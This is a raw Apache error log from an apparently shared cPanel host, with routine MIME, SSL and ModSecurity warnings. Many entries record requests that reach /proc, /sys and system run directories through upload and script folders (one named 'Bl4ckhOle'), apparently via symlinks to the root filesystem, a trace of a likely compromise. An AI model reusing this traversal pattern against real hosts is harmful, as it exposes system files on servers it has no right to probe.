[Fri Jul 17 08:19:40.867851 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:40.956630 2026] [core:error] [pid 2008451:tid 2008451] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/subsystem/wakeup11/device/device:15/eject
[Fri Jul 17 08:19:40.983101 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:41.014747 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 47.82.55.20:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/13:65/subsystem/mice/subsystem/input3/device/drvctl
[Fri Jul 17 08:19:41.048167 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:41.139124 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:41.209389 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:41.235690 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:41.380182 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:41.867732 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:41.959649 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:42.050550 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:42.153069 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:42.190382 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:45330] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:42.414196 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:42.512812 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:42.597133 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:42.750694 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:45388] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:42.963608 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:43.164418 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:43.240171 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:43.244084 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:45438] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:43.325662 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:43.417889 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:43.689429 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/net/eth0/power/autosuspend_delay_ms"] [unique_id "almYR41dLClkUfK_dfHgDwAAAAI"]
[Fri Jul 17 08:19:43.689472 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/net/eth0/power/autosuspend_delay_ms"] [unique_id "almYR41dLClkUfK_dfHgDwAAAAI"]
[Fri Jul 17 08:19:43.781891 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:44.057290 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:44.058141 2026] [security2:error] [pid 2005917:tid 2005917] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty5/subsystem/tty38/"] [unique_id "almYSHf2WrySr2miwA72QgAAABY"]
[Fri Jul 17 08:19:44.058163 2026] [security2:error] [pid 2005917:tid 2005917] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty5/subsystem/tty38/"] [unique_id "almYSHf2WrySr2miwA72QgAAABY"]
[Fri Jul 17 08:19:44.119571 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:45530] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:44.237848 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:44.510284 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:44.623087 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:45568] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:44.794698 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup16/subsystem/wakeup11/device/device:19/eject
[Fri Jul 17 08:19:44.873616 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:44.965648 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:45.241065 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:45.330583 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:45.697668 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:45.879682 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup16/subsystem/wakeup11/device/device:18/eject
[Fri Jul 17 08:19:45.971285 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:46.154618 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:46.273538 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:46.523663 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:46.616905 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:46.704893 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:46.794913 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:46.840255 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:45762] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:46.886154 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:47.289365 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 57.141.18.82:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/node0/memory131/node0/memory75/node0/compact
[Fri Jul 17 08:19:47.341466 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:47.432358 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:47.524494 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:47.615295 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:47.705632 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:47.799708 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:47.934393 2026] [core:error] [pid 1993573:tid 1993573] (13)Permission denied: [client 57.141.18.25:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory105/node0/memory133/node0/cpu1/subsystem/drivers_probe
[Fri Jul 17 08:19:47.986964 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:48.076623 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:48.267194 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:48.449784 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:49.194233 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty5/subsystem/ttyS2/iomem_base
[Fri Jul 17 08:19:49.239741 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:45880] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:49.380972 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:49.675453 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:45950] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:50.024297 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:50.323330 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:50.505604 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:50.596055 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:50.870262 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:51.141660 2026] [security2:error] [pid 1993998:tid 1993998] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/tty/tty27/subsystem/tty10/power/control"] [unique_id "almYT2idQp3SsqeycPErYgAAAAo"]
[Fri Jul 17 08:19:51.141714 2026] [security2:error] [pid 1993998:tid 1993998] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/tty/tty27/subsystem/tty10/power/control"] [unique_id "almYT2idQp3SsqeycPErYgAAAAo"]
[Fri Jul 17 08:19:51.233257 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:51.597312 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:51.688506 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:51.961935 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1f/subsystem/drivers/button/uevent
[Fri Jul 17 08:19:52.068986 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:52.235053 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:52.417483 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:53.054134 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup16/subsystem/wakeup11/device/device:10/eject
[Fri Jul 17 08:19:53.145516 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:53.418177 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup16/subsystem/wakeup11/device/device:16/eject
[Fri Jul 17 08:19:53.598680 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:53.673626 2026] [security2:error] [pid 1996894:tid 1996894] [client 74.7.242.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php/sn/public/index.php/sn/preventionUnit/media/lets-beat-cancer-tamil"] [unique_id "almYUY4Wmn5zySdNNkAjfQAAABM"], referer: https://www.nccp.health.gov.lk/nccp/public/index.php/sn/preventionUnit/media/lets-beat-cancer-tamil
[Fri Jul 17 08:19:53.673711 2026] [security2:error] [pid 1996894:tid 1996894] [client 74.7.242.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php/sn/public/index.php/sn/preventionUnit/media/lets-beat-cancer-tamil"] [unique_id "almYUY4Wmn5zySdNNkAjfQAAABM"], referer: https://www.nccp.health.gov.lk/nccp/public/index.php/sn/preventionUnit/media/lets-beat-cancer-tamil
[Fri Jul 17 08:19:53.960160 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:46754] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:53.962517 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:54.326783 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:54.508851 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:54.691870 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:55.057075 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:55.423729 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:55.878206 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:55.968514 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/19-0/handle
[Fri Jul 17 08:19:56.514292 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:56.546107 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:46914] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:56.969931 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:57.248218 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:57.517215 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:57.609966 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:57.788991 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:58.061807 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:58.152899 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:58.335686 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:58.426283 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:59.716727 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:47122] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:59.928402 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:47150] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:00.066132 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:00.585976 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:00.597997 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:00.780995 2026] [core:error] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/class/wakeup/wakeup3/device/eject
[Fri Jul 17 08:20:01.239347 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:01.429346 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:01.518502 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:01.971002 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:02.064776 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:02.151584 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:02.237686 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:02.328931 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:02.420126 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty8/subsystem/tty29/subsystem/ttyS1/line
[Fri Jul 17 08:20:02.885777 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:02.904788 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 57.141.18.44:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory99/subsystem/devices/memory10/node0/memory33/subsystem/uevent
[Fri Jul 17 08:20:03.064199 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:03.430564 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:03.524387 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:03.607301 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:03.696180 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:03.877400 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:04.334290 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/devices/LNXSYSTM:00/LNXPWRBN:00/driver/bind
[Fri Jul 17 08:20:04.424183 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:04.542677 2026] [security2:error] [pid 2002425:tid 2002425] [client 47.82.53.112:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "ksoft.web.lk"] [uri "/daph/daph/node_modules/@fortawesome/fontawesome-free/svgs/solid/university.svg"] [unique_id "almYXKUJv0yl2bIgVrkMCQAAABU"]
[Fri Jul 17 08:20:04.542733 2026] [security2:error] [pid 2002425:tid 2002425] [client 47.82.53.112:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "ksoft.web.lk"] [uri "/daph/daph/node_modules/@fortawesome/fontawesome-free/svgs/solid/university.svg"] [unique_id "almYXKUJv0yl2bIgVrkMCQAAABU"]
[Fri Jul 17 08:20:04.632749 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:46982] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:04.790610 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:04.981130 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:05.062427 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:05.398108 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:05.487581 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:05.505981 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:05.565352 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:05.670097 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:05.790574 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:05.843728 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:05.889422 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:05.988130 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:06.257064 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:08/subsystem/drivers/button/uevent
[Fri Jul 17 08:20:06.339634 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:06.429521 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:06.885113 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:06.974542 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:07.013195 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:47112] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:07.067597 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:07.429860 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:07.598170 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:07.665973 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/thunderbolt/unbind
[Fri Jul 17 08:20:07.706162 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:07.716955 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:47168] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:07.793916 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/subsystem/drivers/hpet/uevent
[Fri Jul 17 08:20:07.886373 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:07.888854 2026] [core:crit] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/run/pure-ftpd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/run/pure-ftpd/' is executable
[Fri Jul 17 08:20:07.889847 2026] [core:crit] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/run/chkservd.services_suspend/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/run/chkservd.services_suspend/' is executable
[Fri Jul 17 08:20:07.890393 2026] [core:crit] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/run/imunify360-unified-access-logger/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/run/imunify360-unified-access-logger/' is executable
[Fri Jul 17 08:20:07.890426 2026] [core:crit] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/run/restartsrv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/run/restartsrv/' is executable
[Fri Jul 17 08:20:07.890452 2026] [core:crit] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/run/chrony/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/run/chrony/' is executable
[Fri Jul 17 08:20:07.891522 2026] [core:crit] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/run/rpcbind/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/run/rpcbind/' is executable
